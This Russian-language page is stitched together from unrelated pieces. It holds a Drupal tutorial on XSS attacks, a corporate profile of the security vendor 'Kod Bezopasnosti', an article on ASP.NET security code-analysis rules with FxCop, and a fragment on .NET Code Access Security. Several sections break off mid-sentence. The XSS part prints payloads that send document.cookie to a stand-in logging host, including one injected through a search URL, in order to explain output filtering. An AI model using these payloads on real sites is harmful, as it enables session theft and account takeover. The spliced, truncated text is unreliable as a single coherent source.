Лаборатория информационной безопасности. Вы (действительно) пишете безопасный код исключения

Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.

Некоторые сценарии XSS атак

Устойчивая атака

  • Вова создает частицу контента на сайте Пети.
  • Когда Маша просматривает этот контент, Вовин XSS ворует Машины куки.
  • Теперь Вова может пробраться на сайт, используя Машину сессию.
  • Чем более людей увидит этот контент, тем более успешной можно считать атаку. Максимум достигается путем создания противоречивых холиварных тем на сайте и т.д.
Вот вам простейший пример как именно происходит воровство куков и их использование.
  • На страницу вставляется код іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie; .
  • На другом конце скрипта стоит логгер запросов. Злоумышленник выбирает из этого лога идентификатор сессии, и создает свою куку, аналогичную куке жертвы.
  • Теперь злоумышленник просто может зайти браузером на сайт, причем уже влогиненным в аккаунт пользователя-жертвы (кука-то жертвы).
И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.

Неустойчивая атака

  • Юля использует сайт, написанный Ахмедом. Ахмед предоставляет ей возможность заходить на сайт, используя логин/пароль и держать там личные данные.
  • Вова обыскивает сайт Ахмеда и находит XSS уязвимость.
  • Вова формирует специальную ссылку и отправляет ее Юле по аське.
  • Юля, находясь залогиненной на сайте, переходит по Вовиной ссылке.
  • Запускается XSS, завязанный в ссылке страницы. (Здесь уже все зависит от криворукости Ахмеда и мастерства Вовы. Это может быть использование связанной CSRF уязвимости - Юля, сама того не зная, может отправить пачку спама, удалить весь контент на сайте и т.д., так и более приземленное - кража секретной информации, либо куков.
Что означает XSS, завязанный в ссылке ? Очень распространенный пример - форма поиска, с таким кодом
"> .

Теперь, если в адресной строке написать site.ru/search.php?srch=">іmg=new Image();іmg.srс="http://snifsite/s.php" +document.cookie; , мы получим куки каждой жертвы, посетившей этот URL.

Как обезопасить код от XSS?

Ответ прост - фильтровать вывод на страницу.

Методы фильтрации в Друпале

Золотое правило работы с данными - хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.

Весь пользовательский ввод можно разделить на два типа:

  1. Текст без разметки (plain text)

    Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain() , которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.

    Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию :

    • t() : В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:
      • !variable - вставится без изменений
      • @variable - пройдет через check_plain() .
      • %variable - пройдет через theme("placeholder") .
    • l() : Текст ссылки всегда проходит через check_plain() , кроме случаев, когда явно не выставлен ее параметр $html .
    • Элементы меню и «хлебных крошек» : Заголовки автоматически фильтруются.

      Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через check_markup() , должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр в check_markup() . Но вы должны всегда проверять эти права с помощью

Задача компании «Код безопасности» - разработка, развитие и продвижение линейки продуктов и решений информационной безопасности среди заказчиков и партнеров.

Показатели деятельности

2018: Оборот - 4 045 000 тыс. рублей

По итогам 2018 года оборот «Кода безопасности» составил 4 045 000 тыс. руб., при этом второй год подряд он превышает 4 000 000 тыс. руб. Компания от года к году наращивает уровень прибыльности бизнеса: в 2018 году EBITDA достигла 910 000 тыс. руб. (для сравнения, этот показатель в 2017 году составлял 900 000 тыс. руб.), сообщили TAdviser 11 февраля 2019 года в компании «Код безопасности».

Наибольшие доли в обороте компании в 2018 году заняли такие направления безопасности , как защита сетевой инфраструктуры (43,3%) и защита конечных точек (34,4%).

Лидерами продаж по итогам 2018 года, по данным компании, стали продукты линейки «Континент» (1752 млн руб.), vGate (748 млн руб.) и Secret Net Studio (723 млн руб.). Самую высокую динамику по сравнению с 2017 годом продемонстрировали Secret Net Studio и vGate: рост составил 95% и 93% соответственно.

Прошедший отчетный период стал для «Кода безопасности» годом активного обновления продуктового портфеля и получения новых сертификатов регуляторов. В группе средств сетевой безопасности появился «Континент» 3.9 с новыми платформами, повышенной производительностью межсетевого экрана и аппаратным криптоускорителем для шифрования по ГОСТ. Вышел «Континент TLS-сервер» 2 с поддержкой нескольких криптопровайдеров. Успешно завершилась процедура сертификации продукта «Континент» WAF на соответствие требованиям ФСТЭК России к межсетевым экранам.

В компании также выделяют выпуск очередной версии Secret Net Studio 8.4 и прохождение продуктом инспекционного контроля во ФСТЭК России . В конце 2018 года был получен сертификат ФСТЭК России на ПАК «Соболь» 4, и стартовали продажи продукта. Ключевыми отличиями следующего поколения модулей доверенной загрузки стали поддержка технологии UEFI, совместимость с USB 3.0, а также расширение функциональных возможностей. Также было выпущено обновление и расширен список доступных платформ продукта Terminal - тонкого клиента со встроенными средствами защиты информации от несанкционированного доступа .

Главным событием в сегменте средств защиты виртуальных сред стал выпуск обновленного продукта vGate 4.1 с безагентным виртуальным межсетевым экраном vNetwork, позволяющим создавать правила фильтрации как на уровне отдельной виртуальной машины , так и на уровне групп виртуальных машин.

В прошедший отчетный период продолжилось развитие не только продуктовых, но и сервисных сегментов бизнеса компании, второй год подряд составляющих 9% в общей выручке «Кода безопасности». В 2018 году компания добавила в перечень профессиональных сервисов такое направление, как анализ безопасности ПО. Интерес к данному виду деятельности продиктован его высокой рыночной динамикой, а также растущим спросом заказчиков, пояснили в компании.

«Код безопасности» в 2018 году продолжал развитие зарубежного бизнеса: компания получила разрешительные документы на экспорт Secret Net Studio, реализовала с помощью партнеров ряд пилотных проектов в государственных и силовых структурах Индонезии , Чили, Перу, ОАЭ .

Мы наметили на ближайший год развитие не только на уже привычных нам рынках России , Латинской Америки и Ближнего Востока . Большой интерес к обеспечению реальной защиты с помощью продуктов «Кода безопасности» демонстрируют заказчики стран СНГ и Юго-Восточной Азии . Уверен, что 2019 год станет годом первых внедрений наших средств защиты информации в этих регионах, - рассказал Федор Дбар , коммерческий директор компании «Код безопасности».

Сертификаты

В апреле 2011 года сообщено о получении решения Федерального органа по сертификации средств защиты информации по требованиям безопасности информации Министерства обороны Российской Федерации о том, что нижеследующие изделия, разработанные ООО «Код Безопасности»:

  • Программно-аппаратный комплекс "Соболь". Версия 3.0 RU.40308570.501410.001.
  • Средство защиты информации TrustAccess RU.88338853.501410.003.
  • Средство защиты информации TrustAccess-S RU.88338853.501410.004.
  • Средство защиты информации Secret Net 6 RU.88338853.501410.007.
  • Средство защиты информации Secret Net 6 (вариант К) RU.88338853.501410.008.
  • Система сбора данных о программном и аппаратном обеспечении "Код Безопасности: Инвентаризация" RU.88338853.501510.001.
  • Средство защиты информации Security Code vGate for VMware Infrastructure RU.88338853.501410.002

и имеющие действующие сертификаты соответствия ФСТЭК России и ФСБ России , не требуют дополнительной сертификации в системе сертификации средств защиты информации Министерства обороны Российской Федерации по требованиям безопасности информации. Полученное решение позволяет применять продукты разработки компании «Код Безопасности» в структурах, относящихся к Министерству обороны Российской Федерации, и его подведомственных службах.

Партнерская программа

2018

Партнерская программа «Кода безопасности» строится на двухуровневой модели продаж: у компании пять дистрибьюторов и обширная партнерская сеть. Количество авторизованных партнеров постоянно растет, на конец 2018 года оно достигло 1246. При этом в 2018 году на 10% по сравнению с 2017 годом выросло количество партнеров, совершивших хотя бы одну продажу: оно составило 1052 партнера.

В 2018 году почти половина партнеров продемонстрировали рост продаж: 532 партнера улучшили свои показатели по сравнению с 2017 годом. 240 партнеров повысили свои партнерские статусы по итогам работы в 2018 году, что является хорошим стимулом для дальнейшего совместного бизнеса.

В числе ТОП-4 регионов, где благодаря усилиям локальных партнеров вырос уровень продаж продуктов «Кода безопасности», следует выделить ЮФО (рост продаж составил 23%), УрФО (16%), СЗФО (14%), ЦФО (13%).

2017

2018

Запуск направления услуг "Анализ безопасности ПО"

Технологическое партнерство с «Лабораторией Касперского»

Компании «Код безопасности» и «Лаборатория Касперского » в январе 2018 года объявили о начале технологического сотрудничества. Партнерство призвано повысить уровень защищенности инфраструктуры и данных заказчиков, а также усилить позиции обеих компаний в сегментах рынка информационной безопасности .

По условиям партнерского соглашения, «Код безопасности» получает право интегрировать в свои продукты ряд технологических решений «Лаборатории Касперского». Сотрудничество затронет направления защиты конечных устройств и корпоративных сетей. В дальнейшем компании планируют распространить партнерство и на область обеспечения безопасности виртуальных сред.

Сотрудничество в области защиты конечных устройств предусматривает встраивание решения на основе технологии Kaspersky Anti-Virus SDK в модуль антивирусной защиты в составе комплексного продукта Secret Net Studio. В результате у заказчиков появится возможность выбора и приобретения антивирусного модуля на базе технологий «Лаборатории Касперского». Планируется, что использование антивирусного модуля на базе Kaspersky Anti-Virus SDK в составе Secret Net Studio будет сертифицировано на соответствие требованиям ФСТЭК России к средствам антивирусной защиты.

Кроме того, в модуле системы обнаружения вторжений (СОВ), входящем в Secret Net Studio , появится возможность использовать регулярно обновляемые потоки данных о вредоносных объектах - Threat Data Feeds. Средства доставки потоков данных реализованы в технологии потокового сканирования Kaspersky SafeStream II , которая предназначена для обнаружения и нейтрализации наиболее опасных и распространенных угроз в режиме реального времени. В итоге доступ к зараженным и потенциально опасным объектам и интернет -ресурсам будет блокироваться СОВ в составе Secret Net Studio.

В области сетевой защиты планируется включение этой же технологии - Kaspersky SafeStream II - в модуль обнаружения вторжений флагманского продукта «Кода безопасности» - «Континент» 4, который готовится к выпуску. В результате будет обеспечена усиленная защита периметра сети от вредоносных программ (в том числе фишинговой и бот-активности) посредством предотвращения проникновения в сеть вредоносных объектов, а также контроля доступа к потенциально опасным интернет-ресурсам. Поддерживаемая база таких ресурсов насчитывает свыше 500 тыс. позиций.

Информация об интегрированных в продукты «Кода безопасности» технологиях «Лаборатории Касперского» будет включена в маркетинговые материалы и отражена в графическом пользовательском интерфейсе. По условиям договора, продажи лицензий на интегрированные продукты могут осуществляться как на территории Российской Федерации, так и в странах постсоветского пространства (Армения , Азербайджан , Беларусь , Грузия , Казахстан , Кыргызстан , Молдова , Таджикистан , Туркменистан , Узбекистан , Украина). В перспективе, по мере расширения присутствия компании «Код безопасности» на рынках Ближнего Востока и Африки, интегрированные продукты планируется реализовывать и в этих регионах.

2017

Рост оборота год к году на 29%

По итогам 2017 года оборот компании «Код безопасности» составил 4 319 000 тыс. руб., что на 29% выше, чем в предыдущем отчетном периоде (3 348 000 тыс. руб.). Лидирующими продуктовыми направлениями стали сегменты защиты сетей и защиты конечных точек. Наибольшую динамику продемонстрировали продукты для обеспечения безопасности электронной подписи, корпоративных сетей и виртуальных сред.

Наибольшую долю в обороте компании в 2017 году заняли такие направления, как сетевая безопасность (49%) и защита конечных точек (24,4%).

Самую высокую динамику продемонстрировали такие продукты, как Jinn (6533%), Secret Net Studio (763%) и vGate (109%) - темпы роста продаж vGate в 2017 году (109%) превысили динамику 2016 года (81%), уточнили в компании.

Тройку лидеров продаж по итогам 2017 года составили такие средства защиты, как АПКШ «Континент» (2118 млн руб.), ПАК «Соболь» (455 млн руб.) и Jinn (398 млн руб.), уже отмеченный ранее в качестве самого динамично растущего продукта.

2017 год стал для «Кода безопасности» годом выпуска четвертого поколения ряда продуктов. В числе радикально обновленных средств защиты следует отметить «Континент» 4 (пока выпущена бета-версия). В декабре 2017 года начались продажи vGate 4.0. В 2017 году компания выпустила Terminal - тонкий клиент со встроенными средствами защиты информации от несанкционированного доступа.

Общее количество клиентов, купивших продукты «Кода безопасности» в 2017 году, превысило 8 тыс. Продукты «Кода безопасности» в 2017 году обеспечили защиту критически значимых для страны федеральных и региональных государственных информационных систем (ГИС): «Правовая статистика», «Правосудие» , «Единый государственный реестр заключений экспертизы проектной документации», Федеральная государственная информационная система ценообразования в строительстве , «Телемедицина », «Безопасный город» , «Контингент».

В числе крупнейших заказчиков года - Федеральное казначейство , Банк России , Генеральную прокуратуру РФ , госкорпорацию «Росатом », Федеральный центр информатизации при ЦИК России , Министерство обороны РФ , МВД России, МОЭК , Министерство финансов РФ , Банк ВТБ , ФСО России .

Компания «Код безопасности» 17 октября объявила о выходе на иностранный рынок: для зарубежной экспансии компания выбрала модель формирования технологических альянсов. В октябре было подписано соглашение о сотрудничестве с поставщиком ИБ -решений в регионы Ближнего Востока и Африки. Ранее компания начала работать в Латинской Америке, где создала локального партнера-разработчика.

Предпосылки

В числе предпосылок выхода за рубеж - наличие у компании множества успешно работающих в России продуктов информационной безопасности . В то же время, динамику российского ИБ-рынка, по словам представителей компании, сдерживают негативные экономические факторы. При этом отечественный сегмент рынка защиты конечных устройств близок к насыщению.

Начало экспансии за рубеж

«Код безопасности» начал взаимодействовать с зарубежными партнерами в 2015 году - тогда в Уругвае была создана компания KOD Latam Security, занимающаяся разработкой локальных продуктов на базе технологий «Кода безопасности» и их адаптацией для заказчиков Латинской Америки. Основными клиентами KOD Latam Security –выступают государственные и силовые структуры, транспортные компании, финансовый сектор.

Выход на рынки Ближнего Востока и Африки

Для работы на Ближнем Востоке и в Африке «Код безопасности» выбрал другую бизнес-модель: производитель заключил соглашение о сотрудничестве с поставщиком ИБ-решений Al Hosani Computer LLC (ОАЭ), который стал авторизованным дистрибьютором компании в регионе.

Через Al Hosani Computer LLC заказчики региона смогут приобрести три флагманских продукта «Кода безопасности», покрывающих весь спектр потребностей в защите конечных точек и виртуальных инфраструктур:

  • Secret Net Studio - комплексное решение для защиты рабочих станций и серверов на уровне данных, приложений, сети, операционной системы и периферийного оборудования.
  • vGate - решение для защиты платформ виртуализации на базе или Microsoft Hyper-V .
  • Secret MDM - продукт для управления корпоративной мобильностью и защиты данных на мобильных устройствах из «облака » или в собственной инфраструктуре.

Комплекс решений компании «Код безопасности» соответствует законодательным требованиям стран ближневосточного региона в сфере информационной безопасности, а также современным международным стандартам защиты информационных систем в таких областях, как идентификация и аутентификация , управление доступом, антивирусная защита , обнаружение и предотвращение вторжений, контроль устройств, мониторинг событий безопасности.

Концепция наложенной безопасности

Совместная работа «Кода безопасности» и Al Hosani Computer LLC позволит ключевым потребителям Ближнего Востока и Африки познакомиться с концепцией наложенной безопасности, которая лежит в основе продуктов производителя. Суть концепции - в создании доверенных систем в недоверенной среде. Вендор помогает заказчику строить не зависящую от иностранных ИТ систему защиты, которая полностью контролирует данные и гарантирует, что утечки не произойдет.

Обновление фирменного стиля

По словам компании, обновление фирменного стиля обусловлено необходимостью отражения изменений, произошедших в компании за последние годы, а также ростом масштабов задач, реализуемых в тесном партнерстве с участниками рынка информационной безопасности .

Визуальная атрибутика начала трансформироваться в 2015 году, когда «Код безопасности», стремясь усилить восприятие компании как российского игрока рынка ИБ, ввел в фирменный стиль образы русских фольклорных персонажей, символизирующих защиту и силу. Национальные герои – богатыри – и их защитная атрибутика – щиты, шлемы, кольчуга и др. – стали символами продуктов «Кода безопасности». Произошедшие перемены были позитивно восприняты рынком и теперь получили логическое продолжение.

Обновленный логотип подчеркивает российское происхождение компании. Знак воспринимается как фрагмент «богатырского» защитного атрибута – кольчуги – и отражает готовность к реагированию на новые вызовы, заинтересованность в гармонизации взаимодействия четырех ключевых сторон сферы безопасности: вендор, заказчик, регулятор, партнер. Стремление вместе двигаться к общей цели визуально реализовано в виде замкнутой цепи из четырех колец.

Кроме того, знак подчеркивает готовность компании обеспечить комплексную защиту данных. Второй символический посыл четырех «граней» логотипа заключается в представлении четырех направлений безопасности, которую обеспечивают продукты компании: сетевое взаимодействие, рабочие станции и серверы, виртуальная инфраструктура, мобильные устройства.

2016

2016: Рост бизнеса более чем на треть

Бизнес компании вырос за отчетный период более чем на треть. Наибольшую динамику продемонстрировали продукты для защиты сетей и виртуальных инфраструктур. По итогам 2016 года оборот компании «Код безопасности» составил 3 348 000 тыс. руб.(В ценах конечного пользователя). Это на 34% выше, чем годом ранее (2 504 000 тыс. руб.). В ранкинге по итогам 2016 года компания "Код Безопасности" заняла 34-ю строчку.

Наибольшую динамику продемонстрировали такие продукты, как АПКШ «Континент» (56%), ПАК «Соболь» (20%) и vGate (81%). В числе факторов роста – растущий спрос на решения по защите сетей, конечных устройств и виртуальной инфраструктуры от угроз; потребность заказчиков в инвестициях в новые отечественные средства ИБ, обеспечивающие надежную защиту и соответствие требованиям регуляторов.

Лидирующие доли в продуктовом портфеле в отчетный период принадлежали АПКШ «Континент» (56,48%), Secret Net (19,33%) и ПАК «Соболь» (12,59%). По итогам 2016 года структура продаж продуктов «Кода безопасности» выглядит следующим образом:

В списке крупнейших заказчиков, приобретших продукты «Кода безопасности» в 2016 году, можно отметить Минобороны России, Федеральный центр информатизации при ЦИК России , Федеральное казначейство , Банк России , Госкорпорацию «Росатом », МВД России , ФСО России , ФСИН России , МОЭК , Госкорпорацию «Ростех », «РТ-Инвест транспортные системы » и Росприроднадзор .

«Код безопасности» аккредитован в качестве испытательной лаборатории ФСБ

«Код безопасности» объявила в ноябре о получении аттестата аккредитации ФСБ России : регулятор включил компанию в перечень организаций, аккредитованных в системе сертификации средств защиты информации по требованиям безопасности для сведений, составляющих государственную тайну, № РОСС RU.0003.01БИ00.

В соответствии с аттестатом аккредитации испытательная лаборатория «Кода безопасности» получает право на проведение исследований функциональных свойств продукции на соответствие требованиям нормативных документов Федеральной службы безопасности Российской Федерации.

Аккредитация в качестве испытательной лаборатории позволяет «Коду безопасности» заняться проведением сертификационных испытаний следующих наименований продукции:

  • Программные средства защиты информации от несанкционированного доступа (НСД) и программных закладок.
  • Защищенные программные средства обработки информации.
  • Программно-технические средства защиты информации.

Основные функции испытательной лаборатории состоят в отборе образцов вышеперечисленной продукции для проведения сертификационных испытаний; разработке программы и методики сертификационных испытаний, их осуществлении, оформлении протоколов сертификационных испытаний и технических заключений.

На основании результатов испытаний в лаборатории «Кода безопасности» ФСБ сможет проводить экспертизу материалов испытаний, выдавать заявителям заключение, а затем и сертификат.

Процесс разработки продуктов «Кода безопасности» приведен в соответствие национальному стандарту ГОСТ Р 56939–2016

Компания «Код безопасности» объявила летом 2016 года о внедрении процесса разработки программного обеспечения (SDL - Security Development Lifecycle) в соответствии с национальным стандартом ГОСТ Р 56939–2016. Принятая в компании политика формирует базовые принципы организации процессов, направленных на выпуск надежных средств защиты информации .

Летом 2016 года Федеральным агентством по техническому регулированию и метрологии (Росстандартом России) был утвержден национальный стандарт ГОСТ Р 56939–2016 «Защита информации. Разработка безопасного программного обеспечения. Общие требования». Документ вступит в силу с 1 июля 2017 года, он регламентирует содержание и порядок выполнения работ по созданию надежного программного обеспечения и формированию среды для оперативного устранения выявленных пользователями ошибок и уязвимостей.

В соответствии с принятым документом, долгосрочные цели «Кода безопасности» формируются в рамках непрерывного совершенствования системы менеджмента качества (по ГОСТ ISO 9001–2011) и теперь ориентированы на требования ГОСТ Р 56939–2016. В частности, в рамках жизненного цикла каждого продукта проводятся процедуры, направленные на предотвращение появления уязвимостей и их своевременное устранение; внедряются методики, основанные на требованиях ГОСТ Р 56939–2016, осуществляется непрерывный аудит процессов разработки и их оптимизация .

Смена владельцев

Оставшиеся доли распределены между основателями интегратора "Информзащита " Петром Ефимовым (7,5%) и Дмитрием Ершовым (6%), а также финансовым директором "Кода безопасности" Аллой Скрябиной (5%).

До июня 2016 года "Код безопасности" на 100% принадлежал "Информзащите".

Кто такая Елена Бокова и чьи интересы она представляет, в "Коде безопасности" и "Информзащите" сообщить TAdviser не смогли.

«Код безопасности» анонсирует запуск «Политики ответственного разглашения»

Компания «Код безопасности » объявила в июне 2016 года о старте программы, направленной на взаимодействие с исследователями в области защиты информации . «Политика ответственного разглашения » (Responsible disclosure policy) призвана установить порядок действий разработчика и внешних ИБ-специалистов при обнаружении уязвимости в любом продукте «Кода безопасности».

Подход, когда исследователь при обнаружении уязвимости уведомляет о ней только производителя программного обеспечения, позволяет разработчику защитить пользователей и выпустить исправления раньше, чем уязвимость начнет массово использоваться злоумышленниками. Результатом регламентированного взаимодействия разработчика и внешнего ИБ-специалиста является повышение скорости реагирования компании на инциденты, качества продуктов и, в конечном итоге, уровня защищенности заказчиков.

Для «Кода безопасности» привлечение пользователей и исследователей к тестированию продуктов на этапе запуска бета-версии – стандартная практика. В частности, успешным примером такого взаимодействия стало бета-тестирование продукта для защиты рабочих станций и серверов Secret Net Studio . За три месяца познакомиться с его возможностями смогли более 800 специалистов, чьи пожелания и комментарии были учтены при доработке продукта. Одним из результатов стало своевременное обнаружение и устранение уязвимости в продукте, благодаря чему в финальной версии Secret Net Studio проблема была исправлена.

«Раннее обнаружение уязвимости выгодно всем - и заказчику, и разработчику: это позволяет скорректировать жизненный цикл продукта, быстро отреагировать на инцидент, вовремя предоставить пользователям обновление продукта. Регулирование отношений между компанией и независимыми экспертами и организациями в области

Любой, кто занимался разработками для ASP.NET, вероятно, согласится - открыто или нет, - что в какой-то период своей карьеры допускал ошибку, связанную с защитой, или сталкивался с соответствующей проблемой. На разработчиков часто давят, чтобы они как можно быстрее выдали код, а сложность платформы и огромное количество вариантов конфигурации нередко приводит к тому, что безопасность приложения оказывается в менее чем удовлетворительном состоянии. Кроме того, требования конфигурации для отладки и производственных условий различаются, из-за чего в производственном коде зачастую остаются отладочные настройки, вызывающие массу проблем.

С годами платформа ASP.NET повзрослела, через MSDN и блоги сообщества стала доступной более качественная документация, но узнать, какую именно функцию или параметр конфигурации следует использовать в каждом конкретном случае все равно затруднительно. Даже при хорошем знании функциональности, относящейся к безопасности, разработчик может допустить ошибки, которые могут создать бреши в защите приложения.

Рецензирование кода коллегами - полезный процесс и хороший способ отловить ошибки на ранних этапах. Тем не менее не у всех есть время и бюджет на это - или хотя бы знающие коллеги.

С введением анализа кода в Visual Studio 2005 разработчики получили возможность автоматически анализировать свой код на соответствие рекомендациям в решении широкого круга задач - дизайна, удобства в сопровождении, производительности и безопасности. Анализ кода был отличным инструментом, но не обеспечивал контроля в области безопасности для ASP.NET - до настоящего времени.

В этой статье я познакомлю вас с новыми правилами анализа кода ASP.NET, которые можно использовать совместно с анализом кода в Visual Studio и с автономной программой FxCop для повышения безопасности приложений ASP.NET.

Обзор

Вы можете скачать пакет правил для анализа ASP.NET-кода на безопасность для Visual Studio 2010 и FxCop версии 10.0 по ссылке go.microsoft.com/?linkid=9750555 . В установочном комплекте содержатся три пакета новых правил:

  • ASP.NET.Security: В этой категории основной упор делается на рекомендациях по защите того, как инициализировать свойства System.Web.Ui.Page.
  • ASP.NET.MVC.Security: Правила безопасности, относящиеся к тому, как используется ASP.NET MVC.
  • ASP.NET.Security.Configuration: Правила безопасности, относящиеся к конфигурационным элементам в файлах web.config.

После установки пакета правил вы можете начать автоматический анализ безопасности своего веб-приложения, выбрав из меню Build команду Run Code Analysis on Web Site (рис. 1 ). В процессе анализа будут проверены каждый класс Page и файл web.config вашего приложения на соответствие правилам защиты для ASP.NET.

Рис. 1. Запуск анализа кода для примера веб-сайта

Например, одна из широко распространенных уязвимостей в защите веб-приложений - межсайтовые запросы, подделка которых позволяет злоумышленникам выполнять команды от лица другого пользователя. Стандартный способ для минимизации риска из-за этой уязвимости - применение свойства Page.ViewStateUserKey (bit.ly/cTSHM0). Вы также можете использовать AntiForgeryToken в ASP.NET MVC (bit.ly/ciiQIP). Оба способа предотвращают атаку с воспроизведением пакетов на ваше приложение. В процессе анализа кода осуществляются проверки на то, что в вашем приложении применяется подходящее решение.

Я довольно часто слышу от разработчиков, впервые выполняющих анализ кода, о чрезмерном количестве получаемых ими предупреждений (рис. 2). И поначалу легко почувствовать себя брошенным в одиночку разбираться, как все это исправить.

Рис. 2. Нарушения правил перечисляются на вкладке Error List Warnings

Чтобы снять с вас часть бремени исправлений, в каждое правило включается четкое указание, что именно нужно сделать и как; заодно показываются некоторые ссылки, если вам нужно больше информации перед применением изменений (рис. 3 ).

Рис. 3. Подробная информация в разделе Warnings

Анализ кода можно настроить на выполнение после каждой сборки; для этого выберите Website | Configure Code Analysis for Website, а затем установите флажок Enable Code Analysis on Build (defines CODE_ANALYSIS constant) (рис. 4 ).

Рис. 4. Включение анализа кода при каждой сборке

Анализ кода с помощью FxCop

Анализ кода доступен только в Visual Studio версий Premium и Ultimate. Однако вы можете использовать и автономную программу FxCop для анализа ASP.NET-кода. FxCop является частью Windows SDK. Выпуск Windows SDK 7.1 можно скачать по ссылке bit.ly/dzCizq .

При использовании стандартной утилиты FxCop для выполнения анализа потребуется чуть больше работы. Я пошагово проведу вас по операциям, необходимым для подготовки к анализу.

Обычно, когда вы компилируете свой веб-проект, разметка страницы (код страницы, не включаемый в файл отделенного кода) не компилируется и остается нетронутой в корне Web вашего приложения. ПРи первом запросе этой страницы пользователем ее разметка компилируется в отдельные сборки. Это позволяет обновлять сайт без перекомпиляции всего остального. (Подробнее о процессе компиляции ASP.NET-страниц см. по ссылке .)

Поскольку автоматически компилируется не весь код, его часть не видна при анализе и некоторые важные проблемы защиты могут быть пропущены. Чтобы весь код был доступен для анализа, нужно выполнить принудительную предкомпиляцию всех страниц. Это можно сделать с помощью утилиты Publish Web Site, которая запускается выбором Build | Public Web Site. Эта утилита позволяет вам настроить, как будет опубликован веб-сайт, и именно здесь можно включить предкомпиляцию. Просто сбросьте флажок Allow this precompiled site to be updatable и щелкните OK (рис. 5 ). В итоге вы получите полностью скомпилированный сайт, готовый для анализа.

Рис. 5. Публикация веб-сайта с предкомпиляцией

Теперь, когда у вас есть полностью скомпилированный сайт, «науськайте» на него FxCop.

Анализ ASP.NET требует функциональности, которая доступна только в версии FxCop для командной строки, поэтому откройте окно командной строки и перейдите в каталог, где установлена FxCop. Скорее всего это будет один из двух каталогов в зависимости от того, какую версию Windows вы используете - 32- или 64-разрядную:

C:\Program Files (x86)\Microsoft FxCop 10.0 C:\Program Files\Microsoft FxCop 10.0

Из каталога FxCop можно запустить Fxcopcmd.exe, чтобы начать анализ кода. Для веб-сайта ASP.NET нужно ввести команду:

fxcopcmd.exe /file:"H:\MSDN\PrecompiledWeb\ MSDNSampleSite\bin" /rule: AspNetConfigurationSecurityRules.dll /rule:AspNetMvcSecurityRules.dll /rule:ASPNetSecurityRules.dll /aspnet /console

Давайте разберем эту команду, чтобы вы понимали, для чего нужен каждый параметр.

Параметр /file указывает, какие сборки нужно анализировать. В этом примере мои предкомпилированные сборки сайта находятся в каталоге H:\\MSDN\\PrecompiledWeb\\MSDNSampleSite\\bin.

Параметр /rule задает, какие правила следует использовать при анализе. В этом примере я использую только три правила безопасности ASP.NET: AspNetConfigurationSecurityRules.dll, AspNetMvcSecurityRules.dll и ASPNetSecurityRules.dll.

Параметр /aspnet включает анализ ASP.NET, а параметр /console направляет выходные данные после анализа в консольное окно. Результаты показаны на рис. 6 . Подробнее о Fxcopcmd и его разнообразных параметрах см. по ссылке .

Рис. 6. Выполнение правил ASP.NET с использованием Fxcopcmd.exe

Заключение

Делать сайты на основе ASP.NET более защищенными можно оказаться трудной задачей, но правила анализа безопасности ASP.NET-кода большую часть работы выполняют за вас, выявляя некоторые значимые угрозы. Как вы убедились в этой статье, сам по себе процесс прост и может быть настроен на выполнение при каждой сборке, позволяя выявлять проблемы на ранних стадиях.

Советую установить правила на все компьютеры разработчиков, а также добавить их как часть Team Foundation Sever или другой системы контроля версий. Это позволит индивидуальным разработчикам проверять свой код в период сборки, а также введет в действие политику, в соответствии с которой никакой код нельзя поставить на контроль, пока он не пройдет проверку.

Кроме того, вы можете реализовать собственные правила анализа кода. Если вас интересует этот путь, некоторую очень полезную информацию вы найдете в публикации Дьюка Камстра (Duke Kamstra) в блоге Code Analysis Team (bit.ly/blpP38). Также вам пригодится руководство по соответствующему процессу, описанное Татамом Одди (Tatham Oddie) в блоге (bit.ly/5tFrMw).

Саша Фост (Sacha Faust) - разработчик отдела платформы Microsoft Office 365. С ним можно связаться через блог blogs.msdn.com/b/sfaust.

Выражаю благодарность за рецензирование этой статьи эксперту: Брайан Салливан (Bryan Sullivan)

Безопасность доступа кода

Чем важна модель безопасности доступа кода (Code Access Security) ? С помощью модели безопасности на основе ролей можно указывать, что разрешено делать пользователю, а с помощью модели безопасности доступа кода - что разрешено делать коду. В.NET 4 эта модель упростилась, благодаря удалению необходимости в настройке сложных политик безопасности и добавлению второго уровня прозрачной безопасности (Security Transparency Level 2) . Один такой уровень существовал и ранее, а второй является нововведением.NET 4.

На этом уровне проводится различие между кодом, которому разрешено выполнять привилегированные вызовы (такие как вызовы собственного кода), и кодом, которому это делать не разрешается. Весь код делится на три категории:

Критичный для безопасности код (Security-Critical Code)

В рамках этого кода может выполняться любой код. Вызываться из прозрачного кода такой код не может.

Безопасный код (Safe-Critical Code)

В рамках этого кода могут выполняться различные проверки на предмет безопасности. Такой код может вызываться из прозрачного кода.

Прозрачный код

В рамках этого кода может выполняться очень ограниченное число операций. Этому коду разрешено выполняться только с определенным набором разрешений и только в песочнице (sandbox) . В нем не может содержаться никакого небезопасного или непроверяемого кода и вызываться критичный для безопасности код. При написании Windows-приложений ограничение прав кода не применяется.

Приложения, выполняющиеся в настольной среде, обладают всеми привилегиями доверия и могут содержать любой код. Технология изоляции кода на время выполнения в называемую песочницей (sandbox) ограниченную среду применяется с приложениями SilverLight, а также приложениями ASP.NET, которые обслуживаются веб-провайдером или обладают специфической функциональностью, например, предусматривают запуск дополнительных надстроек за счет использования Managed Add-In Framework.

Второй уровень прозрачной безопасности

